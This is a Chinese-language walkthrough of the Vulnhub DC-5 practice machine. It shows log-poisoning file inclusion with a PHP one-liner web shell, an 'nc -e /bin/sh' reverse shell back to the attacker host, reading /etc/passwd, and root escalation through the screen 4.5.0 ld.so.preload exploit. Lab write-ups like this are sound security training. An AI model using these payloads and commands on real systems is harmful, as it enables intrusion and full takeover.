Vulnhub靶机渗透测试之DC-5
2021-01-19 17:51:50 Author: www.freebuf.com(查看原文) 阅读量:142 收藏

Vulnhub简介

Vulnhub是一个提供了很多漏洞环境的靶场平台,其中的环境基本上都是做好的虚拟机镜像文件,需要使用VMware或者是VirtualBox运行。每个镜像会有破解的目标,大多是Boot2root,从启动虚拟机到获取操作系统的root权限和查看flag。

靶场部署

vulnhub官网https://www.vulnhub.com

1、直接从官网下载做好的虚拟机镜像文件(我下载的Mirror版本的);

2、解压会得到一个.ova的文件,然后在VMware中打开即可;

环境配置

攻击机kali:192.168.2.19

DC靶机:192.168.2.22

(我两者都是用的桥接模式,最好都再做一个快照吧,以防万一)

虚拟机打开如下所示:

1610959598_60054aee2e35615494f4b.png!small?1610959594920

信息收集

1、使用nmap扫描靶机,开放了111端口和80端口

1610959681_60054b4156c61edd165f9.png!small?1610959678419

2、111端口没有什么可以利用的点,只有80端口了,访问一下80端口

得知:网站使用的是Nginx的中间件,php语言

1610967084_6005682c21f982340cecd.png!small?1610967080388

1610967593_60056a29aed3085d38d14.png!small?1610967589639

3、最终在Contact页面发现一个有交互的地方

1610967219_600568b3785ef7f3d6640.png!small?1610967215488

4、尝试了很多的方式,由于自己的初心,没有发现问题所在,看了大佬的文章才知道。原来提交的内容之后,刷新thankyou.php页面,下方时间会有变化

1610969853_600572fd81d2a9166d1dd.png!small?1610969849444

5、之后使用DirBuster工具来扫描一下敏感文件

工具的大概使用介绍如下:

1610968525_60056dcd6f19c4eaa373b.png!small

使用DirBuster扫描敏感文件,扫描到thankyou.php文件和footer文件,访问一下footer.php文件,发现该文件的内容就是之前提交之后下方显示的时间,这样的话,thankyou.php文件中应该包含了footer.php文件。所以thankyou.php文件应该是存在文件包含漏洞的。

1610969642_6005722a66a5336aa8fe4.png!small

1610970327_600574d706dda5e49c336.png!small?1610970322905

文件包含漏洞的利用

1、在Contact.php页面中填写完表单提交,然后使用bp抓包发送到repeater模块

1610969282_600570c21c4a983a77c5a.png!small?1610969278146

2、然后不断发包,查看数字也会变化

1610969465_6005717952ecd57e9eec9.png!small?1610969461321

3、读取/etc/passwd文件,能够读取,看来是确实存在文件包含漏洞的。

1610970562_600575c29169d30c84dbb.png!small?1610970558538

4、读取nginx配置文件信息,发现nginx日志记录文件路径

#nginx配置文件路径 /etc/nginx/nginx.conf

#nginx日志文件路径

/var/log/nginx/error.log

/var/log/nginx/access.log

1610980024_60059ab8dc4cd1c7d8789.png!small?1610980021021

5、使用burp抓包发送到Repeater模块,然后修改file参数,传入一句话:file=<?php system($_GET['a']) ?>

1611040121_6006857926a3723052f62.png!small?1611040116417

6、进行包含时nginx的错误日志,利用一句话木马

1611040248_600685f8cf7d8dfdcd0d8.png!small?1611040244082

反弹shell

1、利用一句话来反弹shell

​ 首先在kali机上设置监听:nc -nlvp 1234

​ 然后使用一句话 nc -e /bin/sh IP port 来反弹

1611040476_600686dc7c9b7c1bb1cf6.png!small?16110404716851611040575_6006873fa6ac8ba8e3c24.png!small?1611040570840成功反弹shell

1611040609_6006876172f9d1dce7b72.png!small?16110406046232、 接受交互式的shell,因为之前得到的shell不太稳定,所以需要去拿到一个稳定的shell,使用命令:python -c "import pty;pty.spawn('/bin/bash')"

1611040709_600687c5c48093e1913ac.png!small?1611040705060

3、查看系统相关的一些信息

1611040892_6006887c3813dc00c9a50.png!small?1611040887450

3、查找具有SUID权限的文件

这两个命令都可以查找

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

suid用来提权的一般有:Nmap 、Vim、 find、 Bash、 More 、Less、 Nano 、cp

但是都没有这些命令,有一个奇怪的screen-4.5.0,所以可以用这个来提权

1611041384_60068a683b66442b62945.png!small?1611041379436

提权

1、使用命令searchsploit来查询漏洞利用的脚本

searchsploit screen 4.5.0

1611042051_60068d0369a8a8b94bd57.png!small?1611042046604

2、利用POC这个脚本,将其先复制出来

cp /usr/share/exploitdb/exploits/linux/local/41154.sh 41154.sh

3、查看一下脚本的使用

1611042264_60068dd82a5022d3d7ee9.png!small?1611042259538

大概的步骤是分别将两部分的c代码编译为可执行文件,然后将其上传的靶机,按照提示的命令进行提权

第一步

​将第一部分的c代码放入libhax.c文件中进行编译

命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

第二步

​将第二部分c代码放入rootshell.c文件中进行编译

命令:gcc -o /tmp/rootshell /tmp/rootshell.c

第三步

将编译好的可执行文件上传到靶机的tmp目录下

第四步

按照脚本提示的命令进行提权

步骤一:直接复制下面红线框中的代码,然后再终端中输入,就可以建立libhax.c和rootshell.c两个文件

1611044233_60069589c4d0839072850.png!small?1611044229249

1611044427_6006964b73e0c390915f3.png!small?1611044422932

步骤二:使用以下命令编译c文件

命令:gcc -fPIC -shared -ldl -o /tmp/libhax.so /tmp/libhax.c

命令:gcc -o /tmp/rootshell /tmp/rootshell.c

1611044516_600696a464747a3c033f9.png!small?1611044511628

步骤三:通过nc将文件传输到目标机的tmp文件夹(记得kali和靶机都是在tmp目录下进行操作,因为tmp目录的权限很大)

kali:(kali的终端连接之后再断开,就可以在靶机的shell里面看到传输完毕了)
nc -nlvp 1234 < libhax.so 
nc -nlvp 1234 < rootshell
目标机:
nc 192.168.2.19(kali的ip)1234 > libhax.so
nc 192.168.2.19(kali的ip)1234 > rootshell

1611044944_60069850c3c01407c0461.png!small?1611044940121

1611044977_6006987143bba4002ff0f.png!small?1611044972597

步骤四:

根据提权说明

首先输入命令:cd /etc

然后输入命令:umask 000

然后输入命令:screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so"

然后输入命令:screen -ls

最后输入命令:/tmp/rootshell,成功提权

1611045736_60069b680c16671ca5673.png!small?1611045731252

得到flag,在root目录下

1611045817_60069bb972b8e8c5e05e8.png!small?1611045812717

知识点总结

1、端口扫描,熟悉常见的端口

2、目录扫描,工具有:御剑、dirsearch、DirBuster等等

3、文件包含漏洞及其利用

4、searchsploit命令的使用

5、screen提权

参考链接

https://www.cnblogs.com/sym945/p/13890266.html

https://blog.csdn.net/weixin_44740530/article/details/106401834


文章来源: https://www.freebuf.com/articles/web/261276.html
如有侵权请联系:admin#unsafe.sh